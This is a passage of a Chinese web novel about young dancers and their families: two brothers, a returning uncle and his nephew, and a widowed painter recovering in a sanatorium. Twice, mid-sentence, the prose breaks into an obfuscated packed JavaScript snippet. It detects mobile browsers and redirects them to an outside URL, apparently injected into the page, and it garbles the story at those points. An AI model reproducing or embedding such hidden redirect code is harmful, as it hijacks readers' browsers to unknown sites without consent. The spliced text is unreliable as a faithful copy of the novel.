他眼中的孔爵,是坚强、桀骜、硬气、潇洒的,而如今这已是独当一面的男人的阿爵正猩红着眼睛只隔着一寸的距离质问自己,又强忍着不流下泪来。那样的眼神让他无地自容,让他,如万箭穿心。 “阿爵,我对大哥大嫂、对你,都有愧……我……” 即便是已在脑海中设想过千遍归家的场景,即便是早前才为大哥的喜极而泣大嫂的泪如雨下而心如刀绞,即便是来时路上已百般演练克制心中的波涛汹涌! 面对此情此景,那在侄子面前拼力粉饰的举重若轻已瞬间破碎崩塌。 孔爵的胳膊,死死地抵在陆海言胸前,他的眼睛,用力的望进小叔叔满是愧疚的双目中。可是除了这些,他不知道还要说什么,还能做什么;欣喜、愤怒、坦然、后怕、这种种情绪齐齐涌上心口,他也不知道,哪样更多些……只有这样沉默的对视。 傍晚时分,钟彦霖把车子停进车库,总算长舒了一口气。从公司出来是只想着早点到家陪承儿,却忘了正要赶上下班晚高峰。果然,在环城高速上堵了半个多小时,总算是到了家。一进家门,安静地不像是有人,彦霖暗叹一口气,匆匆脱下西装外套便朝厨房走去。自己担心的没错,家里没个大人看着,承儿这小子又只扎在练功房里不记得吃饭。 心中盘算着晚上做些给弟弟,推开厨房门,迎面却飘来让人食指大动的饭香,彦霖一愣,转眼看见彦承正端坐在饭桌前,像模像样地拿起手机报时,“晚间六点十三分,钟彦霖同志到家,与预计误差5分钟。” 许久未见这样活泼的弟弟,彦霖不禁故意黑着脸打趣他,“亏我还高估了你,以为你能废寝忘食的练功,没想到竟是这么大爷似的等着吃饭呢?” 明知哥哥是故意吓自己,彦承还是连忙替自己喊冤,“哥啊,我在你心里就没个好印象?是萧泽哥跟我说了这几天的安排,我猜你一定会早回来陪我,所以温好了饭菜让你进屋就能吃热乎的呢。” “哟,这么说我得感谢你了?” 彦霖挽起袖子坐上主座,笑看着弟弟手脚麻利地把饭菜都摆上桌。末了,他才轻扬起下巴,给了哥哥一个“那是当然”的表情。 面对今日略显不同的承儿,彦霖不禁迷惑的纠起眉头,伸筷压住他直奔回锅肉的筷头,“今天心情,这么好?“ 34. 第34章 “哎~” 仿佛是料到哥哥一定会问到这里似的,彦承了然地挑了挑眉。 “其实……我知道这几天大家都小心保护着我的心情,我……哎!”明明是想好一肚子话的,到了嘴边,却又觉得没那么容易说出来了…… 彦承不禁又叹了口气,“其实我就是想说,我,我也没什么。陶乐钦说的那些话,初听起来的确是挺难受的……可是仔细想想,也不是一点道理都没有。反正哥不也常说良药苦口利于病,我就当他说的那几句都是忠言逆耳。这两天,我也并不是你们想的那样强颜欢笑,毕竟每天忙得团团转,实在没什么时间胡思乱想。况且那种情绪……就好像手指头上扎了根刺儿,碰不到那儿的时候,整个人好的不能再好了,就算偶尔碰到有小小刺痛,不出个几天,也慢慢好了。我现在……就已经好了。” 仿佛是一下子掀开连日来隔在眼前的薄纱,直言这一番话,彦承只觉得心中清亮了许多,再对着哥哥的眼神,也较之前坦然了许多。他知道,哥哥,萧泽哥,和晓希,每个人都紧张他的情绪超过自己,只因为自己任性走的这一条路并不容易,他那点骄傲的自尊,早已经屡屡受伤,处处碰壁。但他其实也想让哥哥们知道,他不是玻璃心瓷娃娃,他比大家想象的,能承受更多。 然而此时此刻的彦霖,全没想到弟弟会说出这样一番话来。他本想着,这小子定是会碍着面子扭捏不肯说,或许,在自己循循善诱下,会渐吐连日来内心的委屈。唯独没有想到他会这么直抒所思所想,轻松自然。相比之下,倒是自己这个不自觉正襟危坐起来的哥哥显得过分紧张了。想到这里,彦霖不觉轻笑,想补充点什么,却觉得弟弟已经想的这样透彻明白,再多说什么反而多余。看来,他一肚子的安慰与大道理也已经无用武之地了。 “那就好,吃饭吧!” 提筷夹了一大片牛肉到承儿碗里,看弟弟笑的坦然吃的舒心,彦霖倒不自觉感慨起来。爸妈走的时候,自己年纪不大,承儿更是个奶娃娃,二人一起在萧家长大,萧叔和董姨待他们如亲子一般。可他知道他是钟家的长子,所以努力学习成长,迫不及待地想顶起家里的半边天。十九岁那年,萧叔让他逐渐接手钟家的生意,在那之前,自己却早已接过对弟弟的教导。 长兄为父,这些年来,他一直希望自己能同父亲一样,不娇纵、不严苛,给予弟弟自己做决定的自由,必要时加以提点。可他的弟弟与别的孩子不同,自幼痛失双亲,当哥哥的想给他比其他孩子更多的宠爱,所以多少次怕他行差踏错扬手要打,不是强忍着心痛落下?这样的纠结日复一日,直到承儿闹着开始学舞,更甚。看着弟弟受苦、受累、受挫,嘴上不许他退缩偷懒,心里却比任何人都心疼,自己总想把他当成孩子宠着护着,可是不经意间,这孩子已经长大了,快得直到他今日说出这番话来自己才倏然意识到。 彦承嘬着筷头打量着有些出神的哥哥,明明是他先起了话头,自己一番掏心掏肺地答了,他竟什么也没说,这和平日里也有些太不一样了。“哥……?” “谁教你含着筷子了,什么毛病!” 回过神来的第一句,就是这个。彦承连忙抽出筷子不好意思的咂了咂舌。果然,时时刻刻不忘提点说教,这才是哥哥啊。 首都舞院的树荫小路也算的是一处景点了。 夏日里林叶茵茵,石子路间落着斑驳的光影,姑娘们挽着胳膊三三两两地走过,也有小情侣们勾着手指饭后散步。即便是到了秋冬,落叶满地,也是别一番风味。 每日宿舍、练功房的两点一线,这里是林晓希的必经之路。往日里虽然常是步履匆匆,却也会留心欣赏这一二景致,只是今天,恍然走过长长的一段竟是不觉,再接下来,也不知道该往哪里去…… “啧啧啧…… 看你这脸黑成这样,知道的是你得了大奖赛的名额,不知道的又要诟病我是仗着学校的关系而抢了你的呢!” 这一番话入耳,心中难受地好像乘着云霄飞车从顶点一路冲下,林晓希惊诧地抬起头,是陶乐钦。是啊……看清了来人便不禁垂头苦笑,这天下除了他,还有谁能一句话就是一把戳心窝的刀子。 “看来前几日的事对你没什么影响,我也省得问候你了。” 眼前人果然面色一顿,晓希抿了抿唇,不再讲话。言语刻薄,并不是他本意。只是这几天里,自己除了闲言闲语就没听过别的,好像随便哪个人都可以对他指指点点,随便哪个认识不认识的都可以对他品头论足。他怎么就有那么不堪吗。 陶乐钦面上的尴尬也只是一闪而过,眨眼间又换做平日里冷漠又带些痞气的表情。“我来就是想告诉你,这比赛我参不参加并没什么所谓。想跟你同台较量,学校里大把机会,想拿奖出人头地,我也不差这一次。” 难不成就是我差了这一次!晓希蹙起眉头,一句话呼之欲出。陶乐钦却瞬间读懂了他这副表情,“我初识你的时候,虽然不愿意承认,却觉得你是我少见过的坦然大度的人。” 没有再多言,陶乐钦就这么转身走了。这潇洒的背影却像个耳光狠狠扇在晓希脸上:是啊,从前自己的那份专注洒脱哪里去了? 练功房不大却显得有些空旷,没有音乐声,只有一次次跳跃落地或是摔倒的声音泛着回响。王思邈在房中间撑着双膝小口喘着气,汗水顺着耳鬓滴在地毯上,只是趁着几遍跳完的空当才敢歇歇,心里想的却是方才老师黑着脸说这几小节练不好就不要出练功房的“威胁”。想到这里,便又不敢再歇,只掀起T恤的下摆胡乱蒙在脸上擦了汗就接着练了起来。 “这孩子挺好,性子跟你不一样。” 练功房外,叔侄俩负着手看着屋里的小子磕磕绊绊。孔爵不禁一笑,“你这个意思,是这孩子好在不像我?” 眼看奔三的人了,却还是这副德行,陆海言无奈的忘了他一眼,也是嘴角含笑。 “没想到姗姗姐……”,孔爵顿了顿,“真是世事无常,能有你陪她到最后,姗姗姐一定也是无憾的。” 陆海言几不可见的点点头,心中不免酸楚。“哎,不要说我了、说起世事无常,这世界也是小。没想到陶乐钦跑到了你的眼皮子底下来。他既然心里钦佩你,你就收了做学生。小陶,是个难得的好苗子。” “我已经说过,我决不会留他做学生的。” 一提起陶乐钦,孔爵的态度就极为坚决,“你在他心里,是如师更如父的位置,他找上我,也只是看到了你的影子。现在你回来了,为什么不继续教下去?可没有比你这原版更合适的了。” 说不上是欣赏了侄子幽默还是有些许感慨无奈,陆海言不禁仰头笑笑,“不教了。” 三个字,轻飘剪短地让人以为是晃了耳朵,没个解释,没个原因,却也毋庸置疑。只是孔爵分明看见思思一个接近完美的搬腿转后他微微皱起的眉头。 可惜孔大少也是有脾气的,说一不二也不是小叔叔一个人的专属,“别的好说,但陶乐钦的事情上我没得商量。” “我记得你自小都大从没拒绝过我郑重的要求。” “那是因为你从来不会叫我做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239532|197666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 违背我原则的事! 你是潇洒了,说走就走,说回来就回来,说不要就硬塞给我!你到底还有没有一点责任心!” 两人之间难得缓和下来的气氛因为孔爵的一句旧事重提而再次紧绷起来,毕竟,多年来的思念和埋怨并非一时便能化解。 然而这一句,却仿佛比初见的那些气话更加戳人,陆海言怔然片刻,嘴角竟牵起一丝说不出是苦笑还是嘲讽。 “责任心?” 笑声更放肆了些,“阿爵,你知道,我人生到此这半辈子都在为这两个字而活。从始至终,“责任”在我心里有千斤重。就为了一句责任,每一届学生不带出师就不敢放手,每一次比赛,但凡点到我名字就要上,更不必说团里大大小小的舞剧。对于容珊,我除了一颗爱她的心不打折外,没尽过一点男友的义务。就连……就连别人已经快把她追到手我都毫无知觉……” 即便已经是多年的事情,那时的悔恨与绝望此时此刻在心中还是清晰的很。陆海言顿了顿,踱回厨房煮了杯咖啡给孔爵和自己。温热的感觉滑过喉咙,哽住的故事才又能慢慢倾吐出来。 “那年她不告而别,我终于意识到我的人生中,舞蹈和她缺一不可。只是没想到,相处多年,她一朝离开,我竟想不出一点能找到她的线索。再后来,也许是从朋友那儿听说了我不堪的境况,她约我一年后在蒙特利尔相见,那间我们一起吃过早饭的法国小餐馆,我知道她会在那里等我。” 往事并不如烟,孔爵让咖啡在嘴里打着圈,即便只是个旁听者,心情也跟着沉重起来。“可是在那之前你已经走了。珊珊姐离开的时候你有多伤心担忧,爸和妈就只有更甚。” 在他心里没有什么能作为辜负家人的完美借口,只是要是把自己放在小叔叔的位子上……是不是也会做同样的选择。 陆海言点点头,他从不质疑孔爵的埋怨与责备,尤其是在一天一夜内读完他所有的邮件后,这世界上,实在是没有让人不辜负任何的法子。 故事还在继续。 “得到她消息的当天,我便辞去一切职务离开了。我想用这一年时间,放弃所谓的责任和从前总觉得不能撒手的一摊子事儿。我去了云南,西藏,挪威,还有冰岛,每一个从记忆底搜刮出的她曾说过想和我一起去的地方……在日本,我遇到了陶乐钦,他那副死犟又不服管的样子活脱脱就是当初的你。” 感受到小叔叔投过来的目光,孔爵挑了挑眉,并不以为然。“你教了半年就离开了,对他可是个不小的打击。” “是啊,半年后是我跟容珊的约定之期,我不能再失约。和她重逢的那天,真是说不出的喜悦。我从清晨一直等到傍晚她才出现,她说她没想到我会来。说实在的,离开我的一年,我发现她活的更好了,公司外派薪水丰厚的工作,旧法属区的风情不能再合她的胃口。她更加漂亮,自信……”陆海言斟酌片刻,又加了两个字“潇洒”。 “那时她问我,能不能陪她在这里生活,一年、两年,乃至更久,只顾着她,斩断从前,总之是抛却所谓的责任,只在乎眼前的她。这样任性的要求,我却没有拒绝的理由,虽然这决定对我而言,只是丢弃了一种责任,而捡起另一种。再后来,她罹患……ALS,我就更不能离开了。” 故事至此已经没有再继续的必要,孔爵忍不住阖上眼睛,皱起眉头,他试图不去想象,却又无法躲避自己为故事结尾勾勒出的画面。那样活泼甜美的珊珊姐,小叔叔是怎样陪着她,感受着生命活力的一点点流失,却束手无策。 35. 第35章 陈茵茵倚在疗养院二层的阳台上,手杵着下巴,鞋尖有一搭没一搭的磕着地。微风把她试图留长的刘海吹得乱七八糟,她却好似全然不觉,只目不转睛地望着楼下的花园,时不时还抿起一丝笑意。路过的护工小哥顺着她的眼光看去,忍不住调侃起这个才来疗养院一个月就丢了魂儿的小同志,“小陈护士下班还不走啊,再看就赶不上二路汽车了!” “切,我今天夜班儿!” 陈茵茵笑骂着回应,却是连头没回一个,好像一个不留神,花园角落里的那抹身影就会连人带画板都消失不见似的。 “林老师……林——暮——青……” 陈茵茵默念着这名字,想起关于他的过往,神色不禁暗淡下来…… 听护士长说,是去年某一天,林老师自己拎着酒壶来疗养院报道,面色憔悴,瘦骨嶙峋。一个人,一个背包,就这么住了进来。大家对他好奇,就挖门盗洞地打听,只言片语的,终于汇成个故事。原来林老师是美院的教授,有个漂亮的舞蹈家妻子,两人恩爱十年,可是后来妻子去世……他才酗酒沉寂了好一阵子…… 陈茵茵忍不住垂下眼睫,这样的故事,悲惨,却又平庸,她听得多也见得多了。只是发生在这样深情的男人身上,才让人觉得格外的慨叹。 依旧是听人说,初来时的林老师,几乎不说话,看上去,是个十足的落魄酒鬼,大多数时候,都把自己锁在房间里。后来,他托人买了画笔画纸,没日没夜在房间里画画,“乌漆麻黑,乱七八糟,有的看得懂,有的看不懂”疗养院的前辈是这么形容的。陈茵茵想起老护士谈论时面上那十足嫌弃的表情,忍不住扑哧一声笑出来。 她见到林老师的时候,已全不见大家谈论地当初的模样,她见到的,只有把蓬松地自然卷头发扎在脑后,常常坐在花园角落,在画板前一呆一整天的那个人。唯一不变的,还是那样的不爱讲话。 沉静,儒雅,却又让人觉得温暖,这才是林老师本来的样子吧。说起来,已经来了大半年了,是不是,就要离开了?陈茵茵突然想起了什么,回身跑进了楼里。 夏日傍晚依旧明亮的阳光斜斜地照进空旷的房间,林晓希躺在练功房的地上,一半在阳光下,一半在阴影中。 原本……是最不想踏进练功房的时候,然而这个时分,只有这间文导特批的练功房才有难得的清净,没有指指点点,闲言闲语,闪烁的眼神。西斜的太阳渐渐将整个人都罩在阳光下,晓希轻阖上双眼。人生总是这样讽刺,哪怕是在最想逃离舞蹈的时候,依旧依赖着它带给自己的特权……仔细想来,从年幼时穿起舞鞋,扶上把杆的一刻起,舞蹈已经深深印在骨子里,交织着血液,缠绕着筋骨,无法剥离。他的欣喜、愁绪、荣誉、低潮,无一不来自于它。这许多年来愉悦徜徉的够了,如今有些许困境不堪,注定逃不开,也不该逃。。。 也不知道这么懒了多久,耳听见门口有些响动,林晓希警惕地一个翻身坐起来,这四仰八叉的样子总不愿意让人看见。起来的猛了眼前不禁有些发黑,缓了缓才抬起头,原来是学长。 “学长?”晓希麻利站起身,才想起来早些时候学长说过比赛前他都一直都会呆在舞团这边。 萧泽本倚在门口换鞋,闻声抬起头看见晓希,也不免有些诧异,“怎么跑到这儿来了?不是说好了放半天假休息一下?” 问起这个事儿,晓希不禁支吾起来,要怎么说,躲人躲到这里来的?文导特批的练功房里,自己却瘫在地上无所事事? 眼前已经快赶上自己高的少年局促地站在地中间,半晌也没说出什么,萧泽没想到这随口一问却把他难住了,“我就是随便问问,你愿意呆在这儿就歇着看看,累了就回寝室休息一下。嗯?” “不不,我——我……” 仿佛释然般地轻叹了口气,“我去换衣服。”晓希快步朝更衣室走去,学长越是通情达理,他心里越是自责…… 更何况……在练功房里不练功,自己第一个不自在。 “晓希。”清朗的声音在身后叫住自己。晓希回过头,学长已经走到身前,“别换了。说了今天不练就不练了,我带你去个地方。” 少年怔了两秒,有些迷茫的皱起眉,宿舍,食堂,练功房,他的生活三点一线。学长,也大抵应该是如此的吧。 眼前平静漠然的神情萧泽熟悉得很。所有人,都太习惯了晓希一如既往优秀,自律,懂事,以至于轻易忘记了他作为一个孩子所经历的种种,忘记了他为“懂事”两个字承受了些什么。 “学长,我们走吧。”少年轻声唤着。萧泽回过神,看见他仿若无事般挂在脸上的微笑,即便是不愿意,也不拒绝,不讨价还价,不卑微的顺从,只坦然不露丝毫勉强的接受。这让人心疼。萧泽收拾起心情,揽着少年的脖颈走到门口,刻意轻快地扬起声音,“走吧,保证你不虚此行!” “呼……” 陈茵茵一路小跑地从楼上冲到花园里,却在那个人几尺之距生生地停下来,一边小口的理顺着呼吸,一边捋了捋自己向两侧飞起的空气刘海。整整衣服,再不忘检查下已经修剪整齐的指甲,陈小护士终于鼓起勇气向前走去,“林老师。” 画板前的男人转过头,露出个温和的微笑,“小陈护士?你叫我名字就好,我不当老师很久了。” 橙红色的斜阳打在林暮青的脸上,分明的棱角折射出柔和的光辉,陈茵茵望着那光辉下深邃的眼睛不禁走了神。这世上……怎么会有这样好看……又温柔的人。 “你今天是夜班?” “哦!”意识到自己华丽丽走了神,陈茵茵慌乱地低下头,感觉脸上已经热了起来,刚才……林老师问她什么了? “哦,我,是,我今天是夜班,所以呆的晚了些。呃不是,夜班就是,今晚我都会呆在疗养院。” 林暮青不禁轻声笑了起来,他当然知道夜班是什么意思,这个一跟他说话就紧张的小护士有趣的很。他放下画笔指了指陈茵茵手里用透明彩纸包装得漂亮的保温杯,“这是什么?” “嗯?”陈茵茵又低下头,看见手里紧紧攥着的保温杯才反应自己过来的“正事”,“这是送给你的。” 将杯子送到林老师面前,她又忍不住解释道,“不是我送的,呃,我是说不只是我一个人送的,是大家要送给你的。” “哦?”林暮青有些没想明白,却还是先接过水杯礼貌地道谢。 “是高大夫,他说你就要出院了,之前的酒壶却还不能还给你,对你恢复不利。所以这个保温杯您以后随身带着,喝喝茶喝喝热水也是蛮好的。” “嗯……有心了……多谢!”林暮青珍而重之地收好保温杯,眼前却不禁浮现出多年前巴萨罗那街边的精品店里,“她”……像小姑娘一样惊喜地拿着一只酒壶到自己跟前“献宝”。几乎是刚毕业的她几个月的工资,买下了这只酒壶。从那天起,这在异国收下的礼物,再未离开过身边,即便是在她离世之后…… 眼前人失神的模样,并不陌生。许多次陈茵茵远远地望着花园里,阳台上或是病房窗边的林暮青,他总是这样淡淡地出着神,面上时不时浮起或幸福或悲伤的神色。陈茵茵知道,他在怀念他的亡妻……他们之间,一定有许多许多个美好的瞬间,因为他那只有在回忆里才有的满足、纯粹、不装点着礼貌的微笑。 陈茵茵不敢继续放任自己沉浸在那深邃的吸引力里,只得把目光转向画板。她爱看林老师的画,即便有时只是寥寥几笔。也许是爱屋及乌,也许是画如其人,但欣赏着画,也像是欣赏着他举手投足间挥之不去的光华。 “这是今天新画的吗?”她饶有兴趣的凑到画板面前。 “嗯。”林暮青点点头,不知道小陈护士有没有留意到自己的失神,有些微微的歉意。 “可是……”陈茵茵不禁皱起眉,看了看远处正在踢球的男孩,又看了看画板上刚刚勾勒出地模糊轮廓,“你画得怎么不像啊。人家明明是踢球,你画的—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239533|197666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?”蹙着的秀眉倏然展开,“好像是在跳舞!” 大概是笃定自己的猜想,陈茵茵脸上泛起惊喜又自信的笑容。林暮青被小姑娘的明媚所感染,也不禁含笑逗起她来,“猜得这么准,是该夸你聪明还是我自己的画的好?” “当然是我聪明!”沉浸在林老师的笑意里,紧张已全然不见,陈茵茵当仁不让的担下这夸奖。 “那……你画的是谁啊?” “是我儿子。” “儿子!” 陡然拉高的声调把自己都吓了一跳,陈茵茵一下子红了脸,暗恨自己反应过度。林老师有个儿子的事,依稀是听过的,只是他不提,大家也从没见过,不知不觉的,就几乎忘了。“七——岁?” “哈,都快十七岁了,他现在是首都舞院的学生。” 林暮青难掩心中复杂的情绪,说起儿子,他一半自豪,一半愧疚。“想画他跳舞的样子,仔细想了想,记得最清楚的只有他这么小的时候。” “首都舞院!那他现在一定很厉害。” “嗯,他很不容易……”在疗养院的时间里,林暮青没有一刻不在自责。儿子出生,他日夜守在妻子身旁;儿子开始学舞,他陪着两母子在舞房,眼中却尽是妻子优雅的倩影;妻子离他而去……他将儿子拒之门外,因少年那双和母亲一模一样的眼睛让他伤心更甚…… 可即便是这样,“他很优秀,尽管有个不称职的父亲。” “林老师……”陈茵茵在画板边蹲下身,心口闷闷的,不知道如何安慰。一抹颀长的身影却出现在眼前,挡住了堪堪落下的斜阳。 “爸爸!” 锅里热着的牛奶渐渐翻腾起来,白色的蒸汽几乎蒙住眼睛。钟彦霖关了火,将牛奶倒在承儿比正常大出一号的陶瓷杯里。炉台上得电子表已经显示着11:30,彦霖轻着手脚上了二楼,却远远瞥见弟弟房间黑着灯,只得转身又下了楼。 没有悠扬的乐声,没有熟悉的跳跃翻腾,彦霖走近虚掩着的练功房门口,只听见弟弟粗重的呼吸声。单手扶着把杆,脊背脖颈拔的笔直,修长的腿从身侧直直踢上来,却缓缓地下落,脚踝和腰上的负重十分扎眼。 明明知道现在几分几点,却又忍不住瞥了眼墙上的挂钟,彦霖站在门口没有进去。微凉的气流从门缝吹出来,他看了看练功房里大开的窗户。然而夜风中,窗边的彦承却是汗流浃背,每一次踢腿上来的震颤,鼻尖、下颌、都有汗珠滚下。实在蛰了眼睛,便揪起领口在脸上胡乱抹一把,腿上的动作却不曾停下来。高质量的踢腿并不容易完成,彦霖跟着数了十几个,弟弟已经开始抖着腿勉力维持着“有控制的下落”,侧脸上清晰看得出紧咬起的牙根。 彦霖默默数了六十七个,承儿终于停下来,俯身靠在把杆上,埋着头,大口喘着气,脊背起伏地明显。彦霖推门而入,承儿闻声回过身,立刻扬起笑脸,鬓边又有一滴汗水砸了下来。“哥怎么来了?” 已经在门口晾了半晌的牛奶温度刚好可以入口,彦霖一言不发的把杯子递过去,伸手在自己腕子上敲了敲。彦承见状快速地回头扫了眼时间,瞬间了然,脸上连忙换上更大的笑容,“牛奶真香,谢谢哥!” “坐下喝。”彦霖拉过一旁的练功凳按弟弟坐下,自己则蹲下身帮他拆下负重。彦承知道是又让哥哥心疼了,端着杯子继续“谄媚”,“还是哥好!”。 “嗯——” 彦霖无奈地应了,“快点喝完,早点去洗澡早点睡。” “哦。”当弟弟的只能埋下头喝牛奶,说话间彦霖也已经绕到身后去解他腰间的带子。 “嘶——!” 围在腰间宽宽地带子拆下的瞬间彦承不禁痛呼了一声。彦霖闻声不禁担忧地皱起眉头,黑色的练功服看不出什么,撩起衣服,眉头不禁聚得更紧。后腰上好几块婴儿拳头大小的鲜红,是被磨破了皮露出里面嫩肉来。连忙拎起手中沉甸甸的围腰,果然里侧几块海绵已经几乎磨尽,隔着最外层薄薄一层纤维,几条铅块已经凸了出来。 36. 第36章 钟彦霖盯着手中的负重带,一时没有作声。短暂的沉默,却让当弟弟的心里没了底。彦承不明所以地顺着哥哥的眼神去看他手中的负重带,又转身去看镜子,果然自己腰上,斑布着好几块狰狞的红色。 “哥——”彦承立马站起身,一步蹭到哥哥跟前,“没事儿”、“不疼”、“不要紧”的说辞已经堆到了嘴边。彦霖却抬手捏了捏他脖颈,没容他把话说出来。“走吧,回你房间上药。” 身后不容置疑的力量已经推着自己向前走,彦承只得顺着这力道往出走,却不禁一边走着一边偷偷打量哥哥的神色,想着等下如何让他老人家宽心。谁想才到门口,就听着“砰”的一声。侧头去看,原来是那残破的负重带已经被重重摔在垃圾桶里,带着可怜的垃圾桶也在原地一阵震颤。 深感情况不妙的彦承一把揽住哥哥的胳膊,一双眼神要多真诚有多真诚, “哥,真的,就是看着吓人,其实不怎么疼的。不然你看我怎么都没发现呢?” “嗯。”一直帮弟弟掀着衣服的彦霖只是淡淡应了一声,面对突然贴上来的家伙,不禁微微皱了皱眉,小心地撑着手臂不蹭到他伤口。 只有每次惹了哥哥生气的时候,他才不愿意搭理自己。彦承暗暗叹了口气,从没觉得从练功房到自己房间的这段路有那么长。 一进房间,彦承便拉住正想去拿药箱的哥哥的衣角,“不要命”地提了个要求,“我……想先洗个澡。” 腰后的伤面积不小,彦霖自然不愿意让他沾水。只是这已经入伏了的天气,再看看弟弟汗津津的一身,不让洗估计连觉都睡不好,彦霖无奈妥协,“速战速决。” “好嘞!” 得了令的彦承火速冲进洗手间,像往常一样先打开花洒,调好水温,才出去拿换洗衣服。不多时,淋浴间已经升腾起一片水汽。彦承脱了衣服一头扎了进去,任强劲温暖的水流从头顶浇下,略略纾解一身疲累。 只是与往日不同的是,一片温热划过肩背后,腰上骤然掀起的剧痛让他一下子锁紧了眉头……身后的一整片,像是千万根针在扎…又好像是被削去整块皮肤… 彦承忍不住闭起眼睛,将额头抵在淋浴间的墙壁上,却固执地放低身子,任水流更加精准地浇在伤口上,也任由铺天盖地的疼痛将他吞没。 这样的蛰痛他是知道的,只是开始的一阵子疼得厉害,过了那一会儿就什么感觉都没有了。于是,疼痛愈加愈烈,眉头也越皱越紧,就在他以为自己的眉眼鼻子嘴都快要皱到一块儿的时候,那对感官强烈地刺激却突然开始散去了。彦承趁机稍松了一口气,默默忍着,再过一会儿,果然已经没有什么感觉了。 彦承撑着墙壁缓缓直起腰,只觉得眼眶因为方才那一阵已经湿热了起来。“唉,”,透过氤氲的水汽,少年伸手拿起洗发水直接挤到头上,不禁自言自语起来,“学舞这一年多,本以为已经对疼痛百毒不侵了呢……” 取了药箱回来,承儿还没出来,彦霖在便在弟弟最爱的单人沙发上坐了,放眼望去,书桌上满满摊着各样的教材和练习题,生活用品铺的到处都是,还没来得及洗的练功服也东一件西一件的散落在各处…… 好好的宽敞大房,此时却显得拥冗了许多。哎,彦霖笑着叹了口气,不得不脱离舒适柔软的沙发,起身帮弟弟拾掇起一屋的杂乱。 拉开床头柜的瞬间,彦霖不禁一怔。 他原本记得这抽屉里,装着些耳机,iPod,或是掌上游戏机,都是些承儿睡前爱摆弄的东西。自己还曾经因为他躲在被窝里打游戏将那一干电子产品通通没收了一阵子。只是如今……映入眼帘的却是各式各样的医药用品,云南白药,缓释膏,药酒,绷带、还有许多,满满当当的摆了一抽屉…… 彦霖有些无力地坐在床边,一时间,心中百般滋味。。。这一晚上,他也不知道自己在气些什么。从前承儿练功偷懒闹情绪,他气他没毅力、不长进。如今懂事了,拼了命似的用功,他也还是气。又心疼又气。说白了,他也许是气自己,不该当初答应了弟弟让他学舞,不然也不至于像现在这样,看着他又伤又累,拦不得,却也忍不住不心疼。 一旦沉在思绪中,时间就过得特别快,感觉才不多时,浴室的水声已渐渐停下来。没一会儿,伴随着门锁“咔哒”的一声响,彦承拉开门出来,只着着睡裤,裹着一身水汽。 “哥,我好了。” 彦承拨开洗手间除湿器的开关,边抓着毛巾在自己湿漉漉地头上胡乱抹着,边走了出来。没想才一迈步,落地的腿竟不自觉地软了一下,彦承顺手扶上墙边用力甩了甩,双腿上的肌肉几乎是不受控制的一阵震颤。 彦承并不陌生这样的感觉。一整天的疲累后,晚间训练总是能毫不客气地攫取尽肌肉中仅存的最后一丝力气。于是睡前那根叫“意志力”的弦一旦松下来,乏累就迫不及待地拥进四肢百骸,恨不得集体罢工了才是。 还好哥没看见…… 彦承看着低头摆弄药箱地哥哥的背影,迅速松开了扶着门框的手,努力迈着自然的步子走到跟前,“消消毒就好了吧,大夏天的,涂了药反而捂着难受。” “嗯?” 彦霖沉吟了半刻,还是答应了。“也好”。拿起消毒喷雾,彦承自觉地转过身去,映入眼帘的,是已经被热水泡的边缘发白的伤口。答应这小子去洗澡的时候就料到会这样……彦霖动了动唇,却终究压回了嘴边要责备的话,只拿远了喷雾,按动按钮喷了上去。 透明的药水迅速覆盖成片的伤口,顺着肌肤流下来,彦霖放下喷雾,一手扶着承儿胳膊一手帮他擦去多余的药水。眼前的弟弟,从头到尾一声没吭。彦霖知道他不是不疼,只是不愿意让自己担心,可背上骤然收紧又不自主颤抖的肌肉却早被他尽数收在眼底。 “歇着吧。” 彦霖把药箱拿到一边,扶着彦承趴下,“这几天注意着点儿。负重带不能再缠了,我回头去买个新的,但等伤好了再用,听到没有?”。一时没有回应,彦霖抬起头,少年的嘴唇还因方才忍痛而不自然地抿着,眼神却一直追着自己,仿佛憋了一肚子话。 这副乖觉的样子倒是不常见,彦霖不禁笑着抄起浴巾扔在他头上,“擦擦干头发!” 呼……总算是等到了个笑脸,彦承挣扎着从浴巾下露出头来,忙不迭地开始劝说。 “哥,您就别担心了。我没事儿。真的,我就出门摔个跟头都能比这严重!” 彦霖正抬着弟弟肌肉紧绷的小腿放在自己腿上,听了这不着边际的话,不禁觉得又好气又好笑,“噢,是么?” “真的……而且你每次打我,也都比这狠——呃——多了。” 一阵酸麻瞬间从小腿传遍全身,那又疼又酸又放松的复杂感觉不禁让彦承一个结巴。“而且……” 方才还龇牙咧嘴的彦承忽然想起来什么似的,支起手臂回头看着正低头按摩的哥哥,“哥要是真心疼我啊,下次我再犯错的时候,你就想想今天,对我 ‘从轻发落’ 呗!” “你啊!” 彦霖闻言不禁在他腿上狠狠按了一下,彦承立刻扑腾起来,嘴里还止不住地“唉哟”。不解气的彦霖又在他屁股上追了一巴掌,“我看你嘴上的能耐要是都能长到功里去啊,你萧泽哥就一点都不用愁了!” 嘿嘿嘿嘿……看着哥哥刻意虎着的脸,彦承乐不可支地颤抖着肩膀,从练功房就开始的低气压,总算是被他给赶走了。 “话说,我交代给你的任务办的怎么样了?” 